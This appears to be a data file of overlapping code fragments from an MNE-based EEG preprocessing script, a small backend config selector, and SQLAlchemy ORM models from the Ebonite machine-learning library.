"mne.events_from_annotations(raw) ixdev = np.array(np.where(events_orig[:,2]==2)) ixstd= ixdev-1 events = events_orig[np.sort(np.array(np.hstack((ixstd , ixdev)))),:] events =",
"5 # Makoto preprocessing says best between 10 and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering =",
"raw =raw.pick_types( meg=False, eeg=True, eog=False,stim=True, exclude='bads') # ASR Calibration raworig_Data= raw._data l_freq =",
"ASR Calibration raworig_Data= raw._data l_freq = 2 h_freq = 20 Wn = [l_freq/(raw.info['sfreq']/2.),",
"= np.squeeze(events, axis=0) tmin, tmax = -0.2, 0.5 raw4detect = raw.copy() raw4detect._data,iirstate =",
"meg=False, eeg=True, eog=False,stim=False, exclude='bads') raw =raw.pick_types( meg=False, eeg=True, eog=False,stim=True, exclude='bads') # ASR Calibration",
"= epochs_filt.get_data() DataClean = np.zeros((Data2Correct.shape)) for i_epoch in range(Data4detect.shape[0]): EpochYR = Data4detect[i_epoch,:,:] Epoch2Corr",
"tmax, num=DataClean.shape[2]),decimals=3) evokeds = [evoked_std, evoked_dev, evoked_clean_std, evoked_clean_dev] colors = 'blue', 'red','steelblue','magenta' plot_evoked_topo(evokeds,",
"'black' plot_evoked_topo(evokeds_MMN, color=colors, title='MMN', background_color='w') plt.show() kwargs = dict(times=np.arange(-0.1, 0.40, 0.025), vmin=-1.5, vmax=1.5,",
"Manu \"\"\" import mne from mne import io import sys sys.path.append('C:/_MANU/_U821/Python_Dev/') import scipy",
"between 10 and 20 https://sccn.ucsd.edu/wiki/Makoto%27s_preprocessing_pipeline#Alternatively.2C_cleaning_continuous_data_using_ASR_.2803.2F26.2F2019_updated.29 Yule_Walker_filtering = True state = raw_asrcalibration.raw_asrcalibration(rawCalibAsr,ChanName4VEOG, cutoff,Yule_Walker_filtering) #"
] |
[
"'prd': Production, 'test': Test } if not enviroment: enviroment = os.environ.get('MEDIAPP_BE_API_ENV', 'dev') return",
"# from .production import Production # from .test import Test def get_configs(enviroment=None): from",
"Development # from .production import Production # from .test import Test def get_configs(enviroment=None):",
"= { 'dev': Development, # 'prd': Production, 'test': Test } if not enviroment:",
"import Development # from .production import Production # from .test import Test def",
"# from .test import Test def get_configs(enviroment=None): from mediapp_be.config.test import Test configs =",
"os from .development import Development # from .production import Production # from .test",
"# 'prd': Production, 'test': Test } if not enviroment: enviroment = os.environ.get('MEDIAPP_BE_API_ENV', 'dev')",
"from .test import Test def get_configs(enviroment=None): from mediapp_be.config.test import Test configs = {",
"} if not enviroment: enviroment = os.environ.get('MEDIAPP_BE_API_ENV', 'dev') return configs[enviroment]() env = get_configs()",
"import Production # from .test import Test def get_configs(enviroment=None): from mediapp_be.config.test import Test",
"from .development import Development # from .production import Production # from .test import",
"get_configs(enviroment=None): from mediapp_be.config.test import Test configs = { 'dev': Development, # 'prd': Production,",
"import os from .development import Development # from .production import Production # from",
"mediapp_be.config.test import Test configs = { 'dev': Development, # 'prd': Production, 'test': Test",
"import Test def get_configs(enviroment=None): from mediapp_be.config.test import Test configs = { 'dev': Development,",
"Production, 'test': Test } if not enviroment: enviroment = os.environ.get('MEDIAPP_BE_API_ENV', 'dev') return configs[enviroment]()",
".development import Development # from .production import Production # from .test import Test",
"from .production import Production # from .test import Test def get_configs(enviroment=None): from mediapp_be.config.test",
"Test def get_configs(enviroment=None): from mediapp_be.config.test import Test configs = { 'dev': Development, #",
"Test } if not enviroment: enviroment = os.environ.get('MEDIAPP_BE_API_ENV', 'dev') return configs[enviroment]() env =",
"Production # from .test import Test def get_configs(enviroment=None): from mediapp_be.config.test import Test configs",
"from mediapp_be.config.test import Test configs = { 'dev': Development, # 'prd': Production, 'test':",
"{ 'dev': Development, # 'prd': Production, 'test': Test } if not enviroment: enviroment",
"Development, # 'prd': Production, 'test': Test } if not enviroment: enviroment = os.environ.get('MEDIAPP_BE_API_ENV',",
"'test': Test } if not enviroment: enviroment = os.environ.get('MEDIAPP_BE_API_ENV', 'dev') return configs[enviroment]() env",
"def get_configs(enviroment=None): from mediapp_be.config.test import Test configs = { 'dev': Development, # 'prd':",
"Test configs = { 'dev': Development, # 'prd': Production, 'test': Test } if",
"configs = { 'dev': Development, # 'prd': Production, 'test': Test } if not",
".production import Production # from .test import Test def get_configs(enviroment=None): from mediapp_be.config.test import",
"'dev': Development, # 'prd': Production, 'test': Test } if not enviroment: enviroment =",
"<reponame>MedPy-C/backend import os from .development import Development # from .production import Production #",
".test import Test def get_configs(enviroment=None): from mediapp_be.config.test import Test configs = { 'dev':",
"import Test configs = { 'dev': Development, # 'prd': Production, 'test': Test }"
] |
[
"creation_date=environment.creation_date, params=dumps(environment.params)) class SRuntimeInstance(Base, Attaching): __tablename__ = 'instances' id = Column(Integer, primary_key=True, autoincrement=True)",
"# pragma: no cover @abstractmethod def to_obj(self) -> T: pass # pragma: no",
"Column(DateTime, unique=False, nullable=False) tasks: Iterable['STask'] = relationship(\"STask\", back_populates=\"project\") def to_obj(self) -> Project: p",
"= 'pipelines' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author",
"task.images.values()], pipelines=[SPipeline.from_obj(p) for p in task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base, Attaching): __tablename__",
"Optional[as_class]) def sqlobject(obj): return getattr(obj, SQL_OBJECT_FIELD, None) def update_attrs(obj, **attrs): for name, value",
"id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True, nullable=False) author = Column(String,",
"Column(Text) metrics = Column(Text) evaluation_sets = Column(Text) __table_args__ = (UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),) def",
"__table_args__ = (UniqueConstraint('name', 'task_id', name='models_name_and_ref'),) def to_obj(self) -> Model: model = Model(name=self.name, wrapper_meta=safe_loads(self.wrapper,",
"from_obj(cls: Type[S], obj: T, new=False) -> S: kwargs = cls.get_kwargs(obj) existing = sqlobject(obj)",
"relationship(\"SPipeline\", back_populates='task') images: Iterable['SImage'] = relationship(\"SImage\", back_populates='task') datasets = Column(Text) metrics = Column(Text)",
"wrapper_meta=safe_loads(self.wrapper, dict), author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements, Requirements), description=self.description, params=safe_loads(self.params, Dict[str, Any]), id=self.id,",
"import ArtifactCollection from ebonite.core.objects.core import (Buildable, EvaluationResults, EvaluationSet, Image, Model, Pipeline, PipelineStep, Project,",
"from abc import abstractmethod from typing import Any, Dict, Iterable, List, Optional, Type,",
"Column, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm",
"= ... name = ... def attach(self, obj): setattr(obj, SQL_OBJECT_FIELD, self) return obj",
"attrs.items(): setattr(obj, name, value) T = TypeVar('T') S = TypeVar('S', bound='Attaching') class Attaching:",
"evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='models_name_and_ref'),) def to_obj(self) -> Model: model",
"nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) image_id =",
"= Column(Text) output_data = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\",",
"SRuntimeInstance(Base, Attaching): __tablename__ = 'instances' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String,",
"m in task.models.values()], images=[SImage.from_obj(i) for i in task.images.values()], pipelines=[SPipeline.from_obj(p) for p in task.pipelines.values()],",
"evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base, Attaching): __tablename__ = 'models' id = Column(Integer, primary_key=True, autoincrement=True) name",
"value) T = TypeVar('T') S = TypeVar('S', bound='Attaching') class Attaching: id = ...",
"import DatasetType from ebonite.core.objects.artifacts import ArtifactCollection from ebonite.core.objects.core import (Buildable, EvaluationResults, EvaluationSet, Image,",
"= Column(String, unique=True, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False,",
"loads from sqlalchemy import Column, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint from sqlalchemy.ext.declarative",
"name=environment.name, author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params)) class SRuntimeInstance(Base, Attaching): __tablename__ = 'instances' id = Column(Integer,",
"ebonite.core.objects.dataset_source import DatasetSource from ebonite.core.objects.metric import Metric from ebonite.core.objects.requirements import Requirements SQL_OBJECT_FIELD =",
"name=model.name, author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description, params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations)) class SPipeline(Base, Attaching):",
"creation_date=self.creation_date, id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults)) return self.attach(pipeline) @classmethod def get_kwargs(cls, pipeline: Pipeline) ->",
"Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"pipelines\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name',",
"import DatasetSource from ebonite.core.objects.metric import Metric from ebonite.core.objects.requirements import Requirements SQL_OBJECT_FIELD = '_sqlalchemy_object'",
"class SImage(Base, Attaching): __tablename__ = 'images' id = Column(Integer, primary_key=True, autoincrement=True) name =",
"= cls.get_kwargs(obj) existing = sqlobject(obj) if not new and existing is not None:",
"cover Base = declarative_base() class SProject(Base, Attaching): __tablename__ = 'projects' id = Column(Integer,",
"author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) image_id = Column(Integer,",
"evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet])) for model in self.models: task._models.add(model.to_obj()) for pipeline in self.pipelines: task._pipelines.add(pipeline.to_obj())",
"creation_date=self.creation_date, id=self.id, image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params)) return self.attach(instance) @classmethod def get_kwargs(cls, instance: RuntimeInstance)",
"... def attach(self, obj): setattr(obj, SQL_OBJECT_FIELD, self) return obj @classmethod def from_obj(cls: Type[S],",
"Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),) def to_obj(self) -> Pipeline: pipeline = Pipeline(name=self.name,",
"= Column(DateTime, unique=False, nullable=False) image_id = Column(Integer, ForeignKey('images.id'), nullable=False) environment_id = Column(Integer, ForeignKey('environments.id'),",
"@classmethod def get_kwargs(cls, model: Model) -> dict: return dict(id=model.id, name=model.name, author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta),",
"get_kwargs(cls, instance: RuntimeInstance) -> dict: return dict(id=instance.id, name=instance.name, author=instance.author, creation_date=instance.creation_date, image_id=instance.image_id, environment_id=instance.environment_id, params=dumps(instance.params))",
"Attaching): __tablename__ = 'pipelines' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False,",
"steps = Column(Text) input_data = Column(Text) output_data = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'),",
"= Column(DateTime, unique=False, nullable=False) wrapper = Column(Text) artifact = Column(Text) requirements = Column(Text)",
"for i in task.images.values()], pipelines=[SPipeline.from_obj(p) for p in task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class",
"name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class SImage(Base, Attaching): __tablename__ =",
"attach(self, obj): setattr(obj, SQL_OBJECT_FIELD, self) return obj @classmethod def from_obj(cls: Type[S], obj: T,",
"return self.attach(instance) @classmethod def get_kwargs(cls, instance: RuntimeInstance) -> dict: return dict(id=instance.id, name=instance.name, author=instance.author,",
"ebonite.core.objects.requirements import Requirements SQL_OBJECT_FIELD = '_sqlalchemy_object' def json_column(): return Column(Text) def safe_loads(payload, as_class):",
"creation_date=self.creation_date, id=self.id, task_id=self.task_id, params=safe_loads(self.params, Image.Params), source=safe_loads(self.source, Buildable), environment_id=self.environment_id) return self.attach(image) @classmethod def get_kwargs(cls,",
"image_id = Column(Integer, ForeignKey('images.id'), nullable=False) environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text)",
"from typing import Any, Dict, Iterable, List, Optional, Type, TypeVar from pyjackson import",
"get_kwargs(cls, image: Image) -> dict: return dict(id=image.id, name=image.name, author=image.author, creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params), source=dumps(image.source),",
"task._models.add(model.to_obj()) for pipeline in self.pipelines: task._pipelines.add(pipeline.to_obj()) for image in self.images: task._images.add(image.to_obj()) return self.attach(task)",
"= (UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),) def to_obj(self) -> Task: task = Task(id=self.id, name=self.name, author=self.author,",
"instance = RuntimeInstance( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params)) return self.attach(instance)",
"Metric from ebonite.core.objects.requirements import Requirements SQL_OBJECT_FIELD = '_sqlalchemy_object' def json_column(): return Column(Text) def",
"= Column(String, unique=False, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False,",
"no cover @abstractmethod def to_obj(self) -> T: pass # pragma: no cover Base",
"SRuntimeEnvironment(Base, Attaching): __tablename__ = 'environments' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String,",
"input_data = Column(Text) output_data = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task =",
"Task) from ebonite.core.objects.dataset_source import DatasetSource from ebonite.core.objects.metric import Metric from ebonite.core.objects.requirements import Requirements",
"in task.models.values()], images=[SImage.from_obj(i) for i in task.images.values()], pipelines=[SPipeline.from_obj(p) for p in task.pipelines.values()], datasets=dumps(task.datasets),",
"import Column, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint from sqlalchemy.ext.declarative import declarative_base from",
"return self.attach(p) @classmethod def get_kwargs(cls, project: Project) -> dict: return dict(id=project.id, name=project.name, author=project.author,",
"value in attrs.items(): setattr(obj, name, value) T = TypeVar('T') S = TypeVar('S', bound='Attaching')",
"Dict, Iterable, List, Optional, Type, TypeVar from pyjackson import dumps, loads from sqlalchemy",
"ForeignKey('images.id'), nullable=False) environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) __table_args__ = (UniqueConstraint('name',",
"= RuntimeInstance( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params)) return self.attach(instance) @classmethod",
"image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params)) return self.attach(instance) @classmethod def get_kwargs(cls, instance: RuntimeInstance) -> dict:",
"-> dict: return dict(id=image.id, name=image.name, author=image.author, creation_date=image.creation_date, task_id=image.task_id, params=dumps(image.params), source=dumps(image.source), environment_id=image.environment_id) class SRuntimeEnvironment(Base,",
"get_kwargs(cls, environment: RuntimeEnvironment) -> dict: return dict(id=environment.id, name=environment.name, author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params)) class SRuntimeInstance(Base,",
"creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description, params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations)) class SPipeline(Base, Attaching): __tablename__ =",
"@classmethod def get_kwargs(cls, environment: RuntimeEnvironment) -> dict: return dict(id=environment.id, name=environment.name, author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params))",
"is not None: update_attrs(existing, **kwargs) return existing return cls(**kwargs) @classmethod @abstractmethod def get_kwargs(cls,",
"= 'projects' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True, nullable=False) author",
"from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from ebonite.core.objects import DatasetType from",
"def get_kwargs(cls, obj: T) -> dict: pass # pragma: no cover @abstractmethod def",
"obj): setattr(obj, SQL_OBJECT_FIELD, self) return obj @classmethod def from_obj(cls: Type[S], obj: T, new=False)",
"nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) params = Column(Text) def to_obj(self) -> RuntimeEnvironment:",
"model = Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict), author=self.author, creation_date=self.creation_date, artifact=safe_loads(self.artifact, ArtifactCollection), requirements=safe_loads(self.requirements, Requirements), description=self.description, params=safe_loads(self.params,",
"unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) image_id = Column(Integer, ForeignKey('images.id'), nullable=False) environment_id",
"RuntimeInstance( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params)) return self.attach(instance) @classmethod def",
"T) -> dict: pass # pragma: no cover @abstractmethod def to_obj(self) -> T:",
"pass # pragma: no cover @abstractmethod def to_obj(self) -> T: pass # pragma:",
"name='image_name_and_ref'),) def to_obj(self) -> Image: image = Image(name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, params=safe_loads(self.params,",
"in self.images: task._images.add(image.to_obj()) return self.attach(task) @classmethod def get_kwargs(cls, task: Task) -> dict: return",
"to_obj(self) -> Project: p = Project(self.name, id=self.id, author=self.author, creation_date=self.creation_date) for task in self.tasks:",
"@classmethod def get_kwargs(cls, instance: RuntimeInstance) -> dict: return dict(id=instance.id, name=instance.name, author=instance.author, creation_date=instance.creation_date, image_id=instance.image_id,",
"pipelines=[SPipeline.from_obj(p) for p in task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base, Attaching): __tablename__ =",
"evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults])) return self.attach(model) @classmethod def get_kwargs(cls, model: Model) -> dict: return",
"= Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) steps = Column(Text) input_data",
"author=self.author, creation_date=self.creation_date, project_id=self.project_id, datasets=safe_loads(self.datasets, Dict[str, DatasetSource]), metrics=safe_loads(self.metrics, Dict[str, Metric]), evaluation_sets=safe_loads(self.evaluation_sets, Dict[str, EvaluationSet])) for",
"-> dict: return dict(id=pipeline.id, name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class",
"author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) steps = Column(Text)",
"from ebonite.core.objects.requirements import Requirements SQL_OBJECT_FIELD = '_sqlalchemy_object' def json_column(): return Column(Text) def safe_loads(payload,",
"__tablename__ = 'projects' id = Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=True, nullable=False)",
"to_obj(self) -> Image: image = Image(name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, params=safe_loads(self.params, Image.Params), source=safe_loads(self.source,",
"RuntimeInstance, Task) from ebonite.core.objects.dataset_source import DatasetSource from ebonite.core.objects.metric import Metric from ebonite.core.objects.requirements import",
"task = relationship(\"STask\", back_populates=\"models\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='models_name_and_ref'),) def",
"environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params)) return self.attach(instance) @classmethod def get_kwargs(cls, instance: RuntimeInstance) -> dict: return",
"(UniqueConstraint('name', 'task_id', name='models_name_and_ref'),) def to_obj(self) -> Model: model = Model(name=self.name, wrapper_meta=safe_loads(self.wrapper, dict), author=self.author,",
"Type[S], obj: T, new=False) -> S: kwargs = cls.get_kwargs(obj) existing = sqlobject(obj) if",
"= Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='models_name_and_ref'),) def to_obj(self) -> Model: model =",
"tasks: Iterable['STask'] = relationship(\"STask\", back_populates=\"project\") def to_obj(self) -> Project: p = Project(self.name, id=self.id,",
"Column(DateTime, unique=False, nullable=False) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"images\") environment_id",
"= Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"models\") evaluations = Column(Text) __table_args__ =",
"Project) -> dict: return dict(id=project.id, name=project.name, author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t) for t in project.tasks.values()])",
"-> dict: return dict(id=model.id, name=model.name, author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description, params=dumps(model.params), task_id=model.task_id,",
"author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params)) class SRuntimeInstance(Base, Attaching): __tablename__ = 'instances' id = Column(Integer, primary_key=True,",
"name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, params=safe_loads(self.params, RuntimeEnvironment.Params)) return self.attach(environment) @classmethod def get_kwargs(cls, environment: RuntimeEnvironment)",
"get_kwargs(cls, project: Project) -> dict: return dict(id=project.id, name=project.name, author=project.author, creation_date=project.creation_date, tasks=[STask.from_obj(t) for t",
"from sqlalchemy import Column, DateTime, ForeignKey, Integer, String, Text, UniqueConstraint from sqlalchemy.ext.declarative import",
"class SPipeline(Base, Attaching): __tablename__ = 'pipelines' id = Column(Integer, primary_key=True, autoincrement=True) name =",
"-> Image: image = Image(name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, params=safe_loads(self.params, Image.Params), source=safe_loads(self.source, Buildable),",
"Column(DateTime, unique=False, nullable=False) image_id = Column(Integer, ForeignKey('images.id'), nullable=False) environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False)",
"T = TypeVar('T') S = TypeVar('S', bound='Attaching') class Attaching: id = ... name",
"existing = sqlobject(obj) if not new and existing is not None: update_attrs(existing, **kwargs)",
"EvaluationSet])) for model in self.models: task._models.add(model.to_obj()) for pipeline in self.pipelines: task._pipelines.add(pipeline.to_obj()) for image",
"back_populates=\"models\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='models_name_and_ref'),) def to_obj(self) -> Model:",
"def to_obj(self) -> Project: p = Project(self.name, id=self.id, author=self.author, creation_date=self.creation_date) for task in",
"self.attach(p) @classmethod def get_kwargs(cls, project: Project) -> dict: return dict(id=project.id, name=project.name, author=project.author, creation_date=project.creation_date,",
"back_populates=\"pipelines\") evaluations = Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),) def to_obj(self) -> Pipeline:",
"pyjackson import dumps, loads from sqlalchemy import Column, DateTime, ForeignKey, Integer, String, Text,",
"(UniqueConstraint('name', 'project_id', name='tasks_name_and_ref'),) def to_obj(self) -> Task: task = Task(id=self.id, name=self.name, author=self.author, creation_date=self.creation_date,",
"name, value) T = TypeVar('T') S = TypeVar('S', bound='Attaching') class Attaching: id =",
"DatasetType), author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults)) return self.attach(pipeline) @classmethod def get_kwargs(cls, pipeline:",
"Pipeline, PipelineStep, Project, RuntimeEnvironment, RuntimeInstance, Task) from ebonite.core.objects.dataset_source import DatasetSource from ebonite.core.objects.metric import",
"Column(Text) def to_obj(self) -> RuntimeEnvironment: environment = RuntimeEnvironment( name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, params=safe_loads(self.params,",
"author=task.author, creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m) for m in task.models.values()], images=[SImage.from_obj(i) for i in task.images.values()],",
"Type, TypeVar from pyjackson import dumps, loads from sqlalchemy import Column, DateTime, ForeignKey,",
"author=model.author, creation_date=model.creation_date, wrapper=dumps(model.wrapper_meta), artifact=dumps(model.artifact), requirements=dumps(model.requirements), description=model.description, params=dumps(model.params), task_id=model.task_id, evaluations=dumps(model.evaluations)) class SPipeline(Base, Attaching): __tablename__",
"params = Column(Text) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False) task = relationship(\"STask\", back_populates=\"models\") evaluations",
"Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data, DatasetType), output_data=safe_loads(self.output_data, DatasetType), author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, EvaluationResults))",
"Column(Integer, primary_key=True, autoincrement=True) name = Column(String, unique=False, nullable=False) author = Column(String, unique=False, nullable=False)",
"dict(id=environment.id, name=environment.name, author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params)) class SRuntimeInstance(Base, Attaching): __tablename__ = 'instances' id =",
"name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, image_id=self.image_id, environment_id=self.environment_id, params=safe_loads(self.params, RuntimeInstance.Params)) return self.attach(instance) @classmethod def get_kwargs(cls,",
"= Column(Integer, ForeignKey('images.id'), nullable=False) environment_id = Column(Integer, ForeignKey('environments.id'), nullable=False) params = Column(Text) __table_args__",
"ebonite.core.objects.core import (Buildable, EvaluationResults, EvaluationSet, Image, Model, Pipeline, PipelineStep, Project, RuntimeEnvironment, RuntimeInstance, Task)",
"= Column(DateTime, unique=False, nullable=False) params = Column(Text) def to_obj(self) -> RuntimeEnvironment: environment =",
"evaluations=dumps(model.evaluations)) class SPipeline(Base, Attaching): __tablename__ = 'pipelines' id = Column(Integer, primary_key=True, autoincrement=True) name",
"project = relationship(\"SProject\", back_populates=\"tasks\") models: Iterable['SModel'] = relationship(\"SModel\", back_populates=\"task\") pipelines: Iterable['SPipeline'] = relationship(\"SPipeline\",",
"p in task.pipelines.values()], datasets=dumps(task.datasets), metrics=dumps(task.metrics), evaluation_sets=dumps(task.evaluation_sets)) class SModel(Base, Attaching): __tablename__ = 'models' id",
"in self.tasks: p._tasks.add(task.to_obj()) return self.attach(p) @classmethod def get_kwargs(cls, project: Project) -> dict: return",
"= Column(Text) __table_args__ = (UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),) def to_obj(self) -> Pipeline: pipeline =",
"return dict(id=pipeline.id, name=pipeline.name, author=pipeline.author, creation_date=pipeline.creation_date, steps=dumps(pipeline.steps), input_data=dumps(pipeline.input_data), output_data=dumps(pipeline.output_data), task_id=pipeline.task_id, evaluations=dumps(pipeline.evaluations)) class SImage(Base, Attaching):",
"Optional, Type, TypeVar from pyjackson import dumps, loads from sqlalchemy import Column, DateTime,",
"unique=False, nullable=False) author = Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) project_id",
"(UniqueConstraint('name', 'task_id', name='pipelines_name_and_ref'),) def to_obj(self) -> Pipeline: pipeline = Pipeline(name=self.name, steps=safe_loads(self.steps, List[PipelineStep]), input_data=safe_loads(self.input_data,",
"id=self.id, task_id=self.task_id, params=safe_loads(self.params, Image.Params), source=safe_loads(self.source, Buildable), environment_id=self.environment_id) return self.attach(image) @classmethod def get_kwargs(cls, image:",
"nullable=False) params = Column(Text) def to_obj(self) -> RuntimeEnvironment: environment = RuntimeEnvironment( name=self.name, author=self.author,",
"self) return obj @classmethod def from_obj(cls: Type[S], obj: T, new=False) -> S: kwargs",
"= ... def attach(self, obj): setattr(obj, SQL_OBJECT_FIELD, self) return obj @classmethod def from_obj(cls:",
"'task_id', name='image_name_and_ref'),) def to_obj(self) -> Image: image = Image(name=self.name, author=self.author, creation_date=self.creation_date, id=self.id, task_id=self.task_id,",
"description=self.description, params=safe_loads(self.params, Dict[str, Any]), id=self.id, task_id=self.task_id, evaluations=safe_loads(self.evaluations, Dict[str, EvaluationResults])) return self.attach(model) @classmethod def",
"Text, UniqueConstraint from sqlalchemy.ext.declarative import declarative_base from sqlalchemy.orm import relationship from ebonite.core.objects import",
"environment: RuntimeEnvironment) -> dict: return dict(id=environment.id, name=environment.name, author=environment.author, creation_date=environment.creation_date, params=dumps(environment.params)) class SRuntimeInstance(Base, Attaching):",
"unique=False, nullable=False) wrapper = Column(Text) artifact = Column(Text) requirements = Column(Text) description =",
"dict: return dict(id=task.id, name=task.name, author=task.author, creation_date=task.creation_date, project_id=task.project_id, models=[SModel.from_obj(m) for m in task.models.values()], images=[SImage.from_obj(i)",
"Dict[str, EvaluationResults])) return self.attach(model) @classmethod def get_kwargs(cls, model: Model) -> dict: return dict(id=model.id,",
"nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) project_id = Column(Integer, ForeignKey('projects.id'), nullable=False) project =",
"in self.pipelines: task._pipelines.add(pipeline.to_obj()) for image in self.images: task._images.add(image.to_obj()) return self.attach(task) @classmethod def get_kwargs(cls,",
"import relationship from ebonite.core.objects import DatasetType from ebonite.core.objects.artifacts import ArtifactCollection from ebonite.core.objects.core import",
"Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) task_id = Column(Integer, ForeignKey('tasks.id'), nullable=False)",
"self.attach(image) @classmethod def get_kwargs(cls, image: Image) -> dict: return dict(id=image.id, name=image.name, author=image.author, creation_date=image.creation_date,",
"= Column(String, unique=False, nullable=False) creation_date = Column(DateTime, unique=False, nullable=False) image_id = Column(Integer, ForeignKey('images.id'),",
"self.images: task._images.add(image.to_obj()) return self.attach(task) @classmethod def get_kwargs(cls, task: Task) -> dict: return dict(id=task.id,",
